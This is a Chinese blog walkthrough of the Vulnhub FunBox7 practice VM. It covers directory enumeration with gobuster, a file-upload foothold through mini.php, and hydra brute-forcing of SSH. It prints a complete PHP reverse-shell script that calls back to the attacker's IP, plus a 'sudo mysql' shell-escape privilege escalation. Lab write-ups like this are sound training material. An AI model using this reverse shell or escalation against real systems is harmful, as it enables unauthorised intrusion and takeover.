看完这篇 教你玩转渗透测试靶机vulnhub——FunBox7( EASYENUM)

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
简介: 看完这篇 教你玩转渗透测试靶机vulnhub——FunBox7( EASYENUM)

Vulnhub靶机介绍:

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

老样子需要找到flag即可。

Vulnhub靶机下载:

https://download.vulnhub.com/funbox/Funbox7.ova

Vulnhub靶机安装:

下载好了把安装包解压 然后导入Oracle VM打开即可。
在这里插入图片描述
在这里插入图片描述

Vulnhub靶机漏洞详解:

①:信息收集:

kali里使用netdiscover发现主机
在这里插入图片描述
渗透机:kali IP :172.16.5.117 靶机IP :172.16.5.112

ping的通 环境搭建成功!!

在这里插入图片描述
在这里插入图片描述
通过nmap 扫描发现开启了2280端口 简单的扫一下 dirsearch -u url 访问robots.txt 并没有可以利用的信息

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
再次进行扫描 使用gobuster 访问mini.php 发现是有文件上传漏洞!!

gobuster dir -u http://172.16.5.112/ -x html,zip,bak,txt,php --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -e
AI 代码解读

在这里插入图片描述

②:文件上传GetShell:

在这里插入图片描述

可以通过修改 mini.php 然后nc getshell 使用Python 进行交互:python3 -c 'import pty; pty.spawn("/bin/bash")'

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '172.16.5.117';  // CHANGE THIS
$port = 6666;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
   
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
   
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
   
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
   
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
   
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
   
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
   
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
   
    // Check for end of TCP connection
    if (feof($sock)) {
   
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
   
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
   
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
   
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
   
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
   
    if (!$daemon) {
   
        print "$string\n";
    }
}

?>
AI 代码解读

在这里插入图片描述

③:sudo -mysql 提权:

使用 find / -perm -u=s -type f 2>/dev/null 可以使用sudo -l 查看一下 发现需要root密码

在这里插入图片描述
进入家目录 发现有五个用户 直接尝试暴力破解吧 使用 hydra 一个一个试 最后爆破得到:goat/thebest

在这里插入图片描述
在这里插入图片描述

然后使用 SSH 登入 :ssh goat@172.16.5.112

sudo -l 发现 是mysql 提权网站 查询一下:https://gtfobins.github.io

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

sudo mysql -e '\! /bin/sh'
AI 代码解读

在这里插入图片描述

④:获取flag:

在这里插入图片描述
至此获取到了所有得flag,渗透测试结束。

Vulnhub靶机渗透总结:

FunBox系列第七个靶机了 这个靶机比较简单
1.信息收集 获取ip地址 和端口信息 进行扫描 dirsearchgobuster工具的使用
2.网站渗透 发现文件上传漏洞,上传木马 运行木马 nc 进行回弹 获取shell
3.最后是mysql 提权 的学习 和sudo 提权一样

因为最近刮台风 所以只能在家里面更新啦 这是这个系列第七个靶机啦 后续会把这个系列更新完!🙂
最后创作不易 希望对大家有所帮助 喜欢的话麻烦大家给个一键三连 你的开心就是我最大的快乐!!

相关实践学习
如何快速连接云数据库RDS MySQL
本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL,然后进行数据表的CRUD操作。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
打赏
0
0
1
0
92
分享
相关文章
Neos的渗透测试靶机练习——DC-3
Neos的渗透测试靶机练习——DC-3
70 4
Neos的渗透测试靶机练习——DC-1
Neos的渗透测试靶机练习——DC-1
68 4
Neos的渗透测试靶机练习——Wakanda
Neos的渗透测试靶机练习——Wakanda
56 2
渗透测试-靶机DC-2-知识点总结
渗透测试-靶机DC-2-知识点总结
68 0
渗透测试-靶机DC-1-知识点总结
渗透测试-靶机DC-1-知识点总结
74 0
|
10月前
|
记录VulnHub 靶场——Escalate_Linux渗透测试过程
本文档描述了一次靶场环境的搭建和渗透测试过程。首先,提供了靶机环境的下载链接,并建议在VMware或VirtualBox中以NAT模式或仅主机模式导入。接着,通过Kali Linux扫描发现靶机IP,并用Nmap扫描开放端口,识别出80、111、139、445、2049等端口。在80端口上找到一个shell.php文件,通过它发现可以利用GET参数传递cmd命令。
268 0
VulnHub 靶场--super-Mario-Host超级马里奥主机渗透测试过程
这篇文章描述了在一个网络安全靶场环境中进行渗透测试的过程。首先,从百度网盘下载并导入虚拟机镜像,然后将其网络设置为NAT或仅主机模式。接下来,通过扫描靶机IP地址的本地网络段,发现靶机IP为192.168.220.135,并且了解到靶机上有一个名为“mario.supermariohost.local”的Web服务,运行在8180端口。尝试SSH弱口令攻击失败后,通过信息收集找到一个名为“luigi.php”的页面,其中包含一段英文提示,提示需要将域名添加到hosts文件中。 通过cewl工具从luigi.php生成字典文件passwords,然后使用hydra工具尝试SSH登录,成功获得l
171 0
基于Vulnhub—DC8靶场渗透测试过程
这篇文章描述了一个渗透测试的过程。首先,作者下载了一个名为DC8的靶场环境并将其导入虚拟机软件,将网络设置为NAT或仅主机模式。然后进行了信息收集,通过ARP扫描发现靶机IP,并使用nmap扫描开放端口,发现80和22端口开放。进一步利用SQL注入漏洞,通过sqlmap工具获取了数据库中的用户名和密码
121 0
接口测试新选择:Postman替代方案全解析
在软件开发中,接口测试工具至关重要。Postman长期占据主导地位,但随着国产工具的崛起,越来越多开发者转向更适合中国市场的替代方案——Apifox。它不仅支持中英文切换、完全免费不限人数,还具备强大的可视化操作、自动生成文档和API调试功能,极大简化了开发流程。
大前端之前端开发接口测试工具postman的使用方法-简单get接口请求测试的使用方法-简单教学一看就会-以实际例子来说明-优雅草卓伊凡
大前端之前端开发接口测试工具postman的使用方法-简单get接口请求测试的使用方法-简单教学一看就会-以实际例子来说明-优雅草卓伊凡
97 10
大前端之前端开发接口测试工具postman的使用方法-简单get接口请求测试的使用方法-简单教学一看就会-以实际例子来说明-优雅草卓伊凡

热门文章

最新文章